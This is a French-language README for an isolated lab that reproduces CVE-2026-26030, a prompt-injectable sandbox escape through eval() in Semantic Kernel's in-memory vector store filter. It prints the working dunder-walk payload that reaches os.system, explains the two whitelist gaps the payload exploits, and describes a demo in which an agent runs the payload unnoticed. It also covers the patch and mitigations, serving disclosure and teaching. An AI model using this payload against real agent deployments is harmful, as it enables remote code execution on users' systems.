Laboratoire Docker éthique et isolé du réseau reproduisant CVE-2026-26030 — RCE par eval() du filtre de stockage vectoriel en mémoire de Semantic Kernel (corrigé dans la version 1.39.4)
eval() RCE dans Semantic Kernel (lab)Un laboratoire autonome reproduisant CVE-2026-26030 : exécution de code à distance (RCE) injectable par prompt via le filtre de recherche du magasin vectoriel en mémoire dans Microsoft Semantic Kernel (Python, < 1.39.4).
Lab éthique uniquement. Isolé dans des environnements virtuels dédiés ; les charges utiles sont inoffensives (
touchd'un fichier marqueur dans le PoC sans tête ;open -a Calculatordans la démo UI) et s'exécutent sous votre propre utilisateur non privilégié.
./setup.sh # crée deux venvs isolés (1.39.3 vulnérable, 1.39.4 corrigé)
Nécessite python3.13 (wheels pour les dépendances numpy/scipy de SK). Surcharger avec .
PYTHON=./run.sh # exécute la même charge utile contre les deux venvs
La sortie vulnérable se termine par RCE CONFIRMED ; la sortie corrigée rejette la même charge utile avec '__subclasses__' ... is not allowed.
OpsBot, un agent interne de base de connaissances d'ingénierie (Llama hébergé par Groq via Semantic Kernel), expose un outil search_runbooks(team). Un attaquant injecte via prompt une valeur team malveillante ; l'agent appelle l'outil, le filtre vulnérable s'exécute, et une « note de rançon » s'ouvre dans TextEdit — pendant que l'agent rapporte les résultats du runbook, sans s'en apercevoir. La charge utile (open -e <note>) est non bloquante et inoffensive ; la note est pré-stockée dans /tmp/PWNED_by_CVE-2026-26030.txt.
L'outil exécute le véritable eval du filtre vulnérable dans un sous-processus propre (run_filter.py). C'est une nécessité macOS, pas une triche : le fork() du serveur est empoisonné par les threads asynchrones LLM/httpx + numpy/scipy, donc un lancement d'interface graphique depuis ce processus ne fait rien silencieusement. Le sous-processus est le chemin de code exact du CVE (_parse_and_validate_filter → exécute la lambda sur un enregistrement).
Note : la séparation par sous-processus propre est une bizarrerie de ce banc d'essai macOS, pas de la vulnérabilité. Sur un agent déployé sous Linux, l'
os.systemdans le processus parent s'exécute directement — pas besoin de sous-processus.
echo 'GROQ_API_KEY=gsk_...' > .env # clé gratuite depuis console.groq.com/keys
./demo-ui/run.sh # http://127.0.0.1:8000
Le message de l'attaquant est préchargé dans la zone de saisie ; appuyez sur Envoyer.
Un agent expose un outil de recherche basé sur InMemoryCollection. Le LLM émet une chaîne d'expression de filtre à partir de la conversation (lambda x: x.team == 'platform'). Cette chaîne est influençable par l'attaquant — via l'invite utilisateur, ou via du texte injecté dans le contenu récupéré/outil — et atterrit dans _parse_and_validate_filter, qui compile() et eval() celle-ci (connectors/in_memory.py:383):
code = compile(tree, filename="<filter>", mode="eval")
func = eval(code, {"__builtins__": {}}, {}) # nosec
__builtins__ est vidé, et une liste blanche AST est appliquée en premier — il s'agit donc d'un contournement de bac à sable, pas d'un oubli de garde. Deux lacunes permettent le contournement :
ast.Attribute est illimité — pas de liste noire des dunder, donc la marche via ().__class__.__base__.__subclasses__ est autorisée.ast.Call n'inspecte func que lorsqu'il s'agit d'un Name ou d'un Attribute. Lorsque func est un Subscript (qui est dans la liste blanche), func_name reste None et la vérification de fonction autorisée est entièrement ignorée.Ainsi, envelopper n'importe quel appelable comme [obj.method][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/main/args) permet d'appeler n'importe quoi. Enchaîné :
object.__subclasses__()[i] -> BuiltinImporter.load_module('os') -> os.system(cmd)
lambda x: [[[().__class__.__base__.__subclasses__][0]()[107].load_module][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/main/%27os%27).system][0]('touch /tmp/pwned_by_filter')
Chaque appel a func comme Subscript ; chaque étape de parcours est un simple accès d'attribut. L'index (107) est la position de BuiltinImporter dans object.__subclasses__() — elle varie selon la version de Python, donc exploit.py et la démo le calculent à l'exécution.
Le correctif ajoute une liste noire d'attributs dangereux par-dessus la liste blanche, de sorte que la marche via les dunder est rejetée avant eval :
L'accès à l'attribut '__subclasses__' n'est pas autorisé dans les expressions de filtre.
Cet attribut pourrait être utilisé pour s'échapper du bac à sable du filtre.
| fichier | objectif |
|---|---|
setup.sh | crée les deux venvs isolés (vulnérable + corrigé) |
run.sh | PoC sans tête sur les deux venvs |
exploit.py | de bout en bout : collection réelle + filtre de recherche -> RCE |
find_sink.py | localise le point de eval/compile dans le paquet installé |
probe.py | validation minimale uniquement du contournement |
demo-ui/app.py | FastAPI + SK + agent Groq ; l'outil search_runbooks vulnérable |
demo-ui/run_filter.py | exécute le véritable eval du filtre dans un sous-processus propre (le fork() du serveur est empoisonné) |
demo-ui/index.html | interface de chat ; ouvre une note de rançon dans TextEdit en cas de RCE |
L'énoncé le plus propre possible de la thèse de sécurité des agents : il n'y a pas de frontière entre « données » et « instructions ». Un filtre que le modèle écrit à partir d'une recherche de runbook d'utilisateur devient os.system. Le bac à sable existait — une liste blanche et un __builtins__ vidé — et a néanmoins succombé à un contournement par parcours d'attributs et appel via subscript. Hiérarchie des atténuations qui vaut la peine d'être développée dans l'article : n'utilisez pas eval sur la sortie du modèle ; si vous devez le faire, restreignez sur une grammaire fermée, pas une liste blanche de nœuds avec accès aux attributs ouverts ; et isolez le worker (seccomp / pas de réseau / non privilégié) pour qu'une exécution de code ne soit pas la fin de la partie.